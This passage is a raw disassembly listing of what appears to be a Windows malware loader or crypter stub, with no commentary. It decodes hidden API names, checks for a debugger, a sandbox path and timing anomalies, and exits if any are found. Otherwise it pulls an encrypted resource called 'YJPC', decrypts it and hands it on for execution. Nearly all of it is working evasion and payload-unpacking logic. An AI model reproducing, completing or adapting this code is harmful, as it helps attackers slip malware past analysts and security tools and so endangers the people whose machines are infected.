		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	[ebp+var_20]
		mov	[ebp+var_14], eax
		lea	edx, [ebp+var_30]
		mov	eax, offset dword_407CD4
		call	sub_407A00
		mov	eax, [ebp+var_30]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	[ebp+var_20]
		mov	[ebp+var_18], eax
		mov	[ebp+var_1], 0
		call	[ebp+var_14]
		mov	[ebp+var_8], eax
		push	96h
		call	[ebp+var_18]
		call	[ebp+var_14]
		mov	[ebp+var_C], eax
		push	96h
		call	[ebp+var_18]
		call	[ebp+var_14]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_8]
		cmp	eax, 64h
		jge	short loc_407C59
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_8]
		cmp	eax, 0FAh
		jge	short loc_407C59
		mov	[ebp+var_1], 1


loc_407C59:				; CODE XREF: sub_407B70+D6j
					; sub_407B70+E3j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_407C7B


loc_407C66:				; CODE XREF: sub_407B70+109j
		lea	eax, [ebp+var_30]
		mov	edx, 4
		call	sub_402308
		retn
; ---------------------------------------------------------------------------


loc_407C74:				; DATA XREF: sub_407B70+17o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_407C66
; ---------------------------------------------------------------------------


loc_407C7B:				; CODE XREF: sub_407B70+103j
					; DATA XREF: sub_407B70+F1o
		mov	al, [ebp+var_1]
		mov	esp, ebp
		pop	ebp
		retn
sub_407B70	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_407C8C	dd 0A1A5989Eh, 65669F98h, 9F9F9761h, 0 ; DATA XREF: sub_407B70+2Ao
		dd 0FFFFFFFFh, 0Eh
dword_407CA4	dd 83A7987Ah, 7496A2A5h, 98A59797h, 0A6A6h, 0FFFFFFFFh
					; DATA XREF: sub_407B70+48o
		dd 0Ch
dword_407CBC	dd 87A7987Ah, 769E969Ch, 0A7A1A8A2h, 0 ; DATA XREF: sub_407B70+6Ao
		dd 0FFFFFFFFh, 5
dword_407CD4	dd 98989F86h, 0A3h	; DATA XREF: sub_407B70+8Ao

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CDC	proc near		; CODE XREF: CODE:00408218p

var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_106		= byte ptr -106h
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE8h
		xor	eax, eax
		mov	[ebp+var_114], eax
		mov	[ebp+var_118], eax
		mov	[ebp+var_10C], eax
		mov	[ebp+var_110], eax
		xor	eax, eax
		push	ebp
		push	offset loc_407DCF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_1], 0
		push	104h
		lea	eax, [ebp+var_106]
		push	eax
		push	0
		call	sub_4031C4	; GetModuleHandleA
		push	eax
		call	sub_4031BC	; GetModuleFileNameA
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_110]
		lea	edx, [ebp+var_106]
		mov	ecx, 105h
		call	sub_402530
		mov	eax, [ebp+var_110]
		mov	ecx, 0Ch
		mov	edx, 1
		call	sub_402734
		mov	eax, [ebp+var_10C]
		mov	edx, offset dword_407DE8
		call	sub_40262C
		jnz	short loc_407D72
		mov	[ebp+var_1], 1


loc_407D72:				; CODE XREF: sub_407CDC+90j
		lea	eax, [ebp+var_114]
		push	eax
		lea	edx, [ebp+var_118]
		xor	eax, eax
		call	sub_401488
		mov	eax, [ebp+var_118]
		mov	ecx, 0Ch
		mov	edx, 1
		call	sub_402734
		mov	eax, [ebp+var_114]
		mov	edx, offset dword_407DE8
		call	sub_40262C
		jnz	short loc_407DB1
		mov	[ebp+var_1], 1


loc_407DB1:				; CODE XREF: sub_407CDC+CFj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_407DD6


loc_407DBE:				; CODE XREF: sub_407CDC+F8j
		lea	eax, [ebp+var_118]
		mov	edx, 4
		call	sub_402308
		retn
; ---------------------------------------------------------------------------


loc_407DCF:				; DATA XREF: sub_407CDC+26o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_407DBE
; ---------------------------------------------------------------------------


loc_407DD6:				; CODE XREF: sub_407CDC+F2j
					; DATA XREF: sub_407CDC+DDo
		mov	al, [ebp+var_1]
		mov	esp, ebp
		pop	ebp
		retn
sub_407CDC	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 0Ch
dword_407DE8	dd 495C3A43h, 6469736Eh, 5C6D5465h, 0 ;	DATA XREF: sub_407CDC+86o
					; sub_407CDC+C5o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407DF8	proc near		; CODE XREF: CODE:loc_408238p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		xor	eax, eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], eax
		xor	eax, eax
		push	ebp
		push	offset loc_407EB5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_18]
		mov	eax, offset dword_407ECC
		call	sub_407A00
		mov	eax, [ebp+var_18]
		call	sub_4026E0
		push	eax
		call	sub_4031F4	; LoadLibraryA
		mov	[ebp+var_10], eax
		lea	edx, [ebp+var_1C]
		mov	eax, offset dword_407EE4
		call	sub_407A00
		mov	eax, [ebp+var_1C]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_4031CC	; GetProcAddress
		mov	[ebp+var_14], eax
		mov	[ebp+var_1], 0
		lea	edx, [ebp+var_20]
		mov	eax, offset dword_407ECC
		call	sub_407A00
		mov	eax, [ebp+var_20]
		call	sub_4026E0
		push	eax
		call	sub_4031F4	; LoadLibraryA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_407E9A
		push	offset aIsdebuggerpres ; "IsDebuggerPresent"
		mov	eax, [ebp+var_C]
		push	eax
		call	[ebp+var_14]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_407E9A
		call	[ebp+var_8]
		mov	[ebp+var_1], al


loc_407E9A:				; CODE XREF: sub_407DF8+85j
					; sub_407DF8+9Aj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_407EBC


loc_407EA7:				; CODE XREF: sub_407DF8+C2j
		lea	eax, [ebp+var_20]
		mov	edx, 3
		call	sub_402308
		retn
; ---------------------------------------------------------------------------


loc_407EB5:				; DATA XREF: sub_407DF8+14o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_407EA7
; ---------------------------------------------------------------------------


loc_407EBC:				; CODE XREF: sub_407DF8+BCj
					; DATA XREF: sub_407DF8+AAo
		mov	al, [ebp+var_1]
		mov	esp, ebp
		pop	ebp
		retn
sub_407DF8	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_407ECC	dd 0A1A5989Eh, 65669F98h, 9F9F9761h, 0 ; DATA XREF: sub_407DF8+22o
					; sub_407DF8+66o
		dd 0FFFFFFFFh, 0Eh
dword_407EE4	dd 83A7987Ah, 7496A2A5h, 98A59797h, 0A6A6h ; DATA XREF:	sub_407DF8+40o
aIsdebuggerpres	db 'IsDebuggerPresent',0 ; DATA XREF: sub_407DF8+87o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F08	proc near		; CODE XREF: CODE:004082CDp

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFB4h
		xor	ecx, ecx
		mov	[ebp+var_4C], ecx
		mov	[ebp+var_48], ecx
		mov	[ebp+var_44], ecx
		mov	[ebp+var_40], ecx
		mov	[ebp+var_3C], ecx
		mov	[ebp+var_38], ecx
		mov	[ebp+var_34], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40807F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_34]
		mov	eax, offset dword_408098
		call	sub_407A00
		mov	eax, [ebp+var_34]
		call	sub_4026E0
		push	eax
		call	sub_4031F4	; LoadLibraryA
		mov	[ebp+var_2C], eax
		lea	edx, [ebp+var_38]
		mov	eax, offset dword_4080B0
		call	sub_407A00
		mov	eax, [ebp+var_38]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_4031CC	; GetProcAddress
		mov	[ebp+var_30], eax
		lea	edx, [ebp+var_3C]
		mov	eax, offset dword_4080C8
		call	sub_407A00
		mov	eax, [ebp+var_3C]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		call	[ebp+var_30]
		mov	[ebp+var_18], eax
		lea	edx, [ebp+var_40]
		mov	eax, offset dword_4080E0
		call	sub_407A00
		mov	eax, [ebp+var_40]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		call	[ebp+var_30]
		mov	[ebp+var_1C], eax
		lea	edx, [ebp+var_44]
		mov	eax, offset dword_4080F8
		call	sub_407A00
		mov	eax, [ebp+var_44]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		call	[ebp+var_30]
		mov	[ebp+var_20], eax
		lea	edx, [ebp+var_48]
		mov	eax, offset dword_408110
		call	sub_407A00
		mov	eax, [ebp+var_48]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		call	[ebp+var_30]
		mov	[ebp+var_24], eax
		lea	edx, [ebp+var_4C]
		mov	eax, offset dword_408128
		call	sub_407A00
		mov	eax, [ebp+var_4C]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		call	[ebp+var_30]
		mov	[ebp+var_28], eax
		push	0Ah
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, ds:dword_40A4C8
		push	eax
		call	[ebp+var_18]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, ds:dword_40A4C8
		push	eax
		call	[ebp+var_1C]
		mov	edx, [ebp+var_4]
		mov	[edx], eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, ds:dword_40A4C8
		push	eax
		call	[ebp+var_20]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		push	eax
		call	[ebp+var_24]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_408064
		mov	eax, [ebp+var_14]
		push	eax
		call	[ebp+var_28]


loc_408064:				; CODE XREF: sub_407F08+153j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_408086


loc_408071:				; CODE XREF: sub_407F08+17Cj
		lea	eax, [ebp+var_4C]
		mov	edx, 7
		call	sub_402308
		retn
; ---------------------------------------------------------------------------


loc_40807F:				; DATA XREF: sub_407F08+26o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_408071
; ---------------------------------------------------------------------------


loc_408086:				; CODE XREF: sub_407F08+176j
					; DATA XREF: sub_407F08+164o
		mov	eax, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_407F08	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 0Ch
dword_408098	dd 0A1A5989Eh, 65669F98h, 9F9F9761h, 0 ; DATA XREF: sub_407F08+34o
		dd 0FFFFFFFFh, 0Eh
dword_4080B0	dd 83A7987Ah, 7496A2A5h, 98A59797h, 0A6A6h, 0FFFFFFFFh
					; DATA XREF: sub_407F08+52o
		dd 0Dh
dword_4080C8	dd 97A19C79h, 0A2A69885h, 9896A5A8h, 74h, 0FFFFFFFFh, 0Eh
					; DATA XREF: sub_407F08+74o
dword_4080E0	dd 98AD9C86h, 988599A2h, 0A5A8A2A6h, 9896h, 0FFFFFFFFh
					; DATA XREF: sub_407F08+94o
		dd 0Ch
dword_4080F8	dd 9794A27Fh, 0A2A69885h, 9896A5A8h, 0 ; DATA XREF: sub_407F08+B4o
		dd 0FFFFFFFFh, 0Ch
dword_408110	dd 9E96A27Fh, 0A2A69885h, 9896A5A8h, 0 ; DATA XREF: sub_407F08+D4o
		dd 0FFFFFFFFh, 0Ch
dword_408128	dd 9898A579h, 0A2A69885h, 9896A5A8h, 0 ; DATA XREF: sub_407F08+F4o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408138	proc near		; DATA XREF: CODE:004081ACo
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_408157
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40815E


loc_408156:				; CODE XREF: sub_408138+24j
		retn
; ---------------------------------------------------------------------------


loc_408157:				; DATA XREF: sub_408138+6o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_408156
; ---------------------------------------------------------------------------


loc_40815E:				; CODE XREF: sub_408138:loc_408156j
					; DATA XREF: sub_408138+19o
		pop	ebp
		retn
sub_408138	endp

; ---------------------------------------------------------------------------
dword_408160	dd 9, 408168h, 40314Ch,	40311Ch, 403004h, 402FBCh, 40350Ch
					; DATA XREF: CODE:004081BFo
					; BSS:off_40A3E8o
		dd 4034DCh, 403184h, 403154h, 40325Ch, 40322Ch,	4067DCh
		dd 40665Ch, 406A34h, 406A04h, 407160h, 407130h,	0
		dd offset sub_408138
; ---------------------------------------------------------------------------

		public start
start:
		push	ebp
		mov	ebp, esp
		mov	ecx, 7


loc_4081B8:				; CODE XREF: CODE:004081BDj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4081B8
		mov	eax, offset dword_408160
		call	sub_4030D8
		xor	eax, eax
		push	ebp
		push	offset loc_40839C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_407168
		nop
		nop
		nop
		lea	edx, [ebp-18h]
		mov	eax, offset aDggdggdsa ; "dggdggdsa"
		call	sub_407938
		lea	edx, [ebp-1Ch]
		mov	eax, offset aSdgdgdgssdgb ; "sdgdgdgssdgb"
		call	sub_407938
		lea	edx, [ebp-20h]
		mov	eax, offset aSdggsddgssdgdg ; "sdggsddgssdgdgsp"
		call	sub_407938
		lea	edx, [ebp-24h]
		mov	eax, offset aSddgsdgsdgdgsd ; "sddgsdgsdgdgsdgssdggsdgsdg"
		call	sub_407938
		call	sub_407168
		call	sub_407CDC
		cmp	al, 1
		jnz	short loc_408228
		push	0
		call	sub_403194	; ExitProcess


loc_408228:				; CODE XREF: CODE:0040821Fj
		call	sub_407B70
		cmp	al, 1
		jnz	short loc_408238
		push	0
		call	sub_403194	; ExitProcess


loc_408238:				; CODE XREF: CODE:0040822Fj
		call	sub_407DF8
		cmp	al, 1
		jnz	short loc_408248
		push	0
		call	sub_403194	; ExitProcess


loc_408248:				; CODE XREF: CODE:0040823Fj
		call	sub_407AFC
		cmp	al, 1
		jz	loc_408381
		call	loc_407A98
		cmp	al, 1
		jz	loc_408381
		call	sub_401428
		test	eax, eax
		jle	short loc_4082AD
		mov	[ebp-14h], eax
		mov	ds:dword_40A618, 1


loc_408278:				; CODE XREF: CODE:004082ABj
		push	ds:dword_40A61C
		push	offset dword_40841C
		lea	edx, [ebp-28h]
		mov	eax, ds:dword_40A618
		call	sub_401488
		push	dword ptr [ebp-28h]
		mov	eax, offset dword_40A61C
		mov	edx, 3
		call	sub_4025A8
		inc	ds:dword_40A618
		dec	dword ptr [ebp-14h]
		jnz	short loc_408278


loc_4082AD:				; CODE XREF: CODE:00408269j
		mov	eax, offset dword_40A614
		mov	edx, offset aYjpc ; "YJPC"
		call	sub_402338
		mov	eax, ds:dword_40A614
		call	sub_4026E0
		mov	edx, eax
		mov	eax, offset dword_40A60C
		call	sub_407F08
		mov	ds:dword_40A608, eax
		cmp	ds:dword_40A608, 0
		jz	loc_408373
		mov	eax, offset dword_40A610
		mov	edx, ds:dword_40A60C
		call	sub_402774
		mov	eax, offset dword_40A610
		call	sub_40272C
		mov	edx, eax
		mov	eax, ds:dword_40A608
		mov	ecx, ds:dword_40A60C
		call	sub_4012DC
		lea	edx, [ebp-34h]
		mov	eax, ds:dword_40A610
		call	sub_407A00
		mov	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		call	sub_406870
		mov	eax, [ebp-30h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_406930
		mov	edx, [ebp-2Ch]
		mov	eax, offset dword_40A610
		call	sub_402338
		call	sub_407168
		push	0
		lea	edx, [ebp-38h]
		xor	eax, eax
		call	sub_401488
		mov	eax, [ebp-38h]
		push	eax
		mov	eax, offset dword_40A610
		call	sub_40272C
		mov	ecx, ds:dword_40A61C
		pop	edx
		call	sub_406B18
		test	al, al
		jmp	short loc_40837A
; ---------------------------------------------------------------------------


loc_408373:				; CODE XREF: CODE:004082DEj
		push	0
		call	sub_403194	; ExitProcess


loc_40837A:				; CODE XREF: CODE:00408371j
		push	0
		call	sub_403194	; ExitProcess


loc_408381:				; CODE XREF: CODE:0040824Fj
					; CODE:0040825Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4083A3


loc_40838E:				; CODE XREF: CODE:004083A1j
		lea	eax, [ebp-38h]
		mov	edx, 9
		call	sub_402308
		retn
; ---------------------------------------------------------------------------


loc_40839C:				; DATA XREF: CODE:004081CCo
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_40838E
; ---------------------------------------------------------------------------


loc_4083A3:				; CODE XREF: CODE:0040839Bj
					; DATA XREF: CODE:00408389o
		call	sub_4021FC
; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 9
aDggdggdsa	db 'dggdggdsa',0        ; DATA XREF: CODE:004081E2o
		align 4
		dd 0FFFFFFFFh, 0Ch
aSdgdgdgssdgb	db 'sdgdgdgssdgb',0     ; DATA XREF: CODE:004081EFo
		align 4
		dd 0FFFFFFFFh, 10h
aSdggsddgssdgdg	db 'sdggsddgssdgdgsp',0 ; DATA XREF: CODE:004081FCo
		align 10h
		dd 0FFFFFFFFh, 1Ah
aSddgsdgsdgdgsd	db 'sddgsdgsdgdgsdgssdggsdgsdg',0 ; DATA XREF: CODE:00408209o
		align 4
		dd 0FFFFFFFFh, 1
dword_40841C	dd 20h,	0FFFFFFFFh, 4	; DATA XREF: CODE:0040827Eo
aYjpc		db 'YJPC',0             ; DATA XREF: CODE:004082B2o
		align 1000h
CODE		ends

; Section 2. (virtual address 00009000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00009000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 409000h
dword_409000	dd 0			; DATA XREF: sub_4021CC+2w
					; sub_4021FC+9o ...
dword_409004	dd 0			; DATA XREF: sub_401228w
					; sub_4021FC:loc_40222Br ...
word_409008	dw 1332h		; DATA XREF: sub_401A1C+3r
		dw 0C08Bh
byte_40900C	db 0			; DATA XREF: sub_401C24r sub_401C40r ...
		db 8Dh,	40h, 0
byte_409010	db 0			; DATA XREF: sub_401D08+52r
					; sub_401D08:loc_401D95r ...
		db 8Dh,	40h, 0
off_409014	dd offset dword_409068	; DATA XREF: sub_402AB8r sub_402F1Cr ...
dword_409018	dd 0			; DATA XREF: sub_402F2C+4r
off_40901C	dd offset sub_402F2C	; DATA XREF: sub_4021FC+66r
off_409020	dd offset nullsub_1	; DATA XREF: sub_402824+67r
off_409024	dd offset nullsub_1	; DATA XREF: sub_402824+71r
off_409028	dd offset sub_4020D4	; DATA XREF: sub_4020D4+Fr
					; sub_4020D4+35r ...
off_40902C	dd offset sub_4020A0	; DATA XREF: sub_4021FC:loc_40224Ar
off_409030	dd offset nullsub_1	; DATA XREF: sub_4021FC:loc_40227Dr
off_409034	dd offset nullsub_1	; DATA XREF: CODE:loc_402FE4r
dword_409038	dd 0			; DATA XREF: sub_401158+1r
					; sub_40116C+4r ...
off_40903C	dd offset sub_401158	; DATA XREF: sub_4011A8+4r
					; sub_4011D8+3Fr
off_409040	dd offset sub_40116C	; DATA XREF: sub_4011C0+4r
					; sub_4011D8+26r
off_409044	dd offset sub_401190	; DATA XREF: sub_4011D8+Dr
byte_409048	db 0			; DATA XREF: sub_401234+36r
aRsu		db '',0
aFxn@		db '@',0
off_409064	dd offset nullsub_1	; DATA XREF: sub_4021FC+38r
dword_409068	dd 0			; DATA XREF: sub_4030CCo
					; sub_4030D8+33o ...
dword_40906C	dd 400000h		; DATA XREF: sub_4030D8+1Bw
dword_409070	dd 0			; DATA XREF: sub_4030D8+22w
dword_409074	dd 0			; DATA XREF: sub_4030D8+29w
		dd 400000h, 0
dword_409080	dd 0			; DATA XREF: CODE:004067B9o
dword_409084	dd 0			; DATA XREF: CODE:004067AFo
dword_409088	dd 2			; DATA XREF: sub_405B58+1Bw
					; sub_405E14+69r
dword_40908C	dd 5			; DATA XREF: sub_405B58+24w
dword_409090	dd 1			; DATA XREF: sub_405B58+2Dw
dword_409094	dd 0A28h		; DATA XREF: sub_405B58+36w
dword_409098	dd 0			; DATA XREF: sub_405B58+3Bo
					; CODE:004067A5o
dword_40909C	dd 0			; DATA XREF: sub_404F38+C4r
					; sub_405BB0+1Br ...
		dd 7 dup(0)
dword_4090BC	dd 0			; DATA XREF: CODE:004066CCo
					; CODE:00406813o
dword_4090C0	dd 77E686CCh		; DATA XREF: sub_406320+1Cw
					; sub_406320:loc_406341r ...
dword_4090C4	dd 2 dup(0)		; DATA XREF: CODE:004066B7o
off_4090CC	dd offset off_403324	; DATA XREF: sub_404118+43r
					; CODE:00406650o
off_4090D0	dd offset dword_403328+4 ; DATA	XREF: CODE:00406644o
		dd 76400000h, 0DE0B6B3Ah, 0C08B403Ah
dword_4090E0	dd 0Ah			; DATA XREF: sub_4046B8+23r
off_4090E4	dd offset off_4033AC	; DATA XREF: sub_404CB0+3Ao
					; CODE:00406638o
off_4090E8	dd offset dword_4033B0+4 ; DATA	XREF: CODE:0040662Co
off_4090EC	dd offset dword_4033B0+0Ch ; DATA XREF:	CODE:00406620o
off_4090F0	dd offset dword_4033B0+14h ; DATA XREF:	CODE:00406614o
off_4090F4	dd offset dword_4033B0+1Ch ; DATA XREF:	CODE:00406608o
off_4090F8	dd offset dword_4033B0+24h ; DATA XREF:	CODE:004065FCo
off_4090FC	dd offset dword_4033B0+2Ch ; DATA XREF:	CODE:004065F0o
off_409100	dd offset dword_4033B0+34h ; DATA XREF:	CODE:004065E4o
off_409104	dd offset dword_4033B0+3Ch ; DATA XREF:	CODE:004065D8o
off_409108	dd offset dword_4033B0+44h ; DATA XREF:	CODE:004065CCo
off_40910C	dd offset dword_4033B0+4Ch ; DATA XREF:	CODE:004065C0o
off_409110	dd offset dword_4033B0+54h ; DATA XREF:	CODE:004065B4o
off_409114	dd offset off_40340C	; DATA XREF: sub_404CB0+5Do
					; CODE:004065A8o
off_409118	dd offset dword_403410+4 ; DATA	XREF: CODE:0040659Co
off_40911C	dd offset dword_403410+0Ch ; DATA XREF:	CODE:00406590o
off_409120	dd offset dword_403410+14h ; DATA XREF:	CODE:00406584o
off_409124	dd offset dword_403410+1Ch ; DATA XREF:	CODE:00406578o
off_409128	dd offset dword_403410+24h ; DATA XREF:	CODE:0040656Co
off_40912C	dd offset dword_403410+2Ch ; DATA XREF:	CODE:00406560o
off_409130	dd offset dword_403410+34h ; DATA XREF:	CODE:00406554o
off_409134	dd offset dword_403410+3Ch ; DATA XREF:	CODE:00406548o
off_409138	dd offset dword_403410+44h ; DATA XREF:	CODE:0040653Co
off_40913C	dd offset dword_403410+4Ch ; DATA XREF:	CODE:00406530o
off_409140	dd offset dword_403410+54h ; DATA XREF:	CODE:00406524o
off_409144	dd offset off_40346C	; DATA XREF: sub_404CB0+A9o
					; CODE:00406518o
off_409148	dd offset dword_403470+4 ; DATA	XREF: CODE:0040650Co
off_40914C	dd offset dword_403470+0Ch ; DATA XREF:	CODE:00406500o
off_409150	dd offset dword_403470+14h ; DATA XREF:	CODE:004064F4o
off_409154	dd offset dword_403470+1Ch ; DATA XREF:	CODE:004064E8o
off_409158	dd offset dword_403470+24h ; DATA XREF:	CODE:004064DCo
off_40915C	dd offset dword_403470+2Ch ; DATA XREF:	CODE:004064D0o
off_409160	dd offset off_4034A4	; DATA XREF: sub_404CB0+CEo
					; CODE:004064C4o
off_409164	dd offset dword_4034A8+4 ; DATA	XREF: CODE:004064B8o
off_409168	dd offset dword_4034A8+0Ch ; DATA XREF:	CODE:004064ACo
off_40916C	dd offset dword_4034A8+14h ; DATA XREF:	CODE:004064A0o
off_409170	dd offset dword_4034A8+1Ch ; DATA XREF:	CODE:00406494o
off_409174	dd offset dword_4034A8+24h ; DATA XREF:	CODE:00406488o
		dd offset dword_4034A8+2Ch
dword_40917C	dd 2			; DATA XREF: sub_405564+16r
					; CODE:004066A2o
dword_409180	dd 0			; DATA XREF: sub_405564+24r
		dd 3, 0
		dd 4, 0
		dd 5, 0
dword_40919C	dd 64h			; DATA XREF: sub_4057A8+Fr
		dd 0
		dd 65h,	0
		dd 6Ah,	0
off_4091B4	dd offset aEdivbyzeror@8@ ; DATA XREF: CODE:0040668Do
					; "\nEDivByZero@8@"
		dd 0
		dd offset aErangeerrors8@ ; "\vERangeError8@"
		dd 0
		dd offset dword_403898
		dd 0
		dd offset aEinvalidoprd9@ ; "\nEInvalidOp9@"
		dd 0
		dd offset dword_4039A4
		dd 0
		dd offset aEoverflowlT@	; "\tEOverflowT:@"
		dd 0
		dd offset dword_403A54
		dd 0
		dd offset dword_403B08
		dd 0
		dd offset dword_403BC0
		dd 0
		dd offset aEprivilegerx@ ; "\nEPrivilegex<@"
		dd 0
		dd offset aEcontrolcl@	; "\tEControlC,=@"
		dd 0
		dd offset dword_403C78
		dd 0
		dd offset dword_403D2C
		dd 0
		dd offset dword_403D2C
		dd 0
		dd offset dword_403D2C
		dd 0
		dd offset dword_403D2C
		dd 0
		dd offset dword_403D2C
		dd 0
		dd offset dword_403D2C
		dd 0
		dd offset dword_403D88
		dd 0
		dd offset dword_403730
		dd 0
		dd offset dword_403E44
		dd 0
		dd offset dword_403EA0
		dd 0
dword_409264	dd 20591EC1h		; DATA XREF: sub_405DFC+Ar
dword_409268	dd 0			; DATA XREF: sub_406300+1o
dword_40926C	dd 1			; DATA XREF: sub_406A60+Fr
		dd 10h,	2, 20h,	4, 40h,	4, 40h
off_40928C	dd offset dword_4033B0+14h ; DATA XREF:	CODE:00406618o
		dd offset dword_403328+0Ch
		dd offset dword_403270+14h
off_409298	dd offset dword_403410+4 ; DATA	XREF: CODE:004065A0o
off_40929C	dd offset dword_403410+44h ; DATA XREF:	CODE:00406540o
off_4092A0	dd offset dword_4034A8+14h ; DATA XREF:	CODE:004064A4o
off_4092A4	dd offset dword_4033B0+34h ; DATA XREF:	CODE:004065E8o
off_4092A8	dd offset off_40A028	; DATA XREF: sub_405A68+79r
off_4092AC	dd offset off_403374	; DATA XREF: sub_40598C+73r
off_4092B0	dd offset dword_4034A8+24h ; DATA XREF:	CODE:0040648Co
off_4092B4	dd offset dword_40A008	; DATA XREF: sub_405A68+2Er
					; sub_405AEC+34r
off_4092B8	dd offset off_4034A4	; DATA XREF: CODE:004064C8o
off_4092BC	dd offset dword_4033B0+1Ch ; DATA XREF:	CODE:0040660Co
		dd offset dword_403270+2Ch
off_4092C4	dd offset dword_4034A8+4 ; DATA	XREF: CODE:004064BCo
off_4092C8	dd offset dword_403470+1Ch ; DATA XREF:	CODE:004064ECo
off_4092CC	dd offset dword_4034A8+0Ch ; DATA XREF:	CODE:004064B0o
off_4092D0	dd offset dword_40A01C	; DATA XREF: sub_405A68+44r
					; sub_405AEC+46r
off_4092D4	dd offset off_40326C	; DATA XREF: sub_405564+44r
		dd offset dword_403318+4
off_4092DC	dd offset off_403264	; DATA XREF: sub_405A68r
off_4092E0	dd offset dword_4033B0+3Ch ; DATA XREF:	CODE:004065DCo
		dd offset dword_403270+34h
off_4092E8	dd offset off_403324	; DATA XREF: CODE:00406654o
dword_4092EC	dd 40339Ch		; DATA XREF: CODE:loc_405710r
off_4092F0	dd offset dword_403410+2Ch ; DATA XREF:	CODE:00406564o
		dd offset dword_40A040
off_4092F8	dd offset dword_403410+4Ch ; DATA XREF:	CODE:00406534o
		dd offset dword_403348+24h
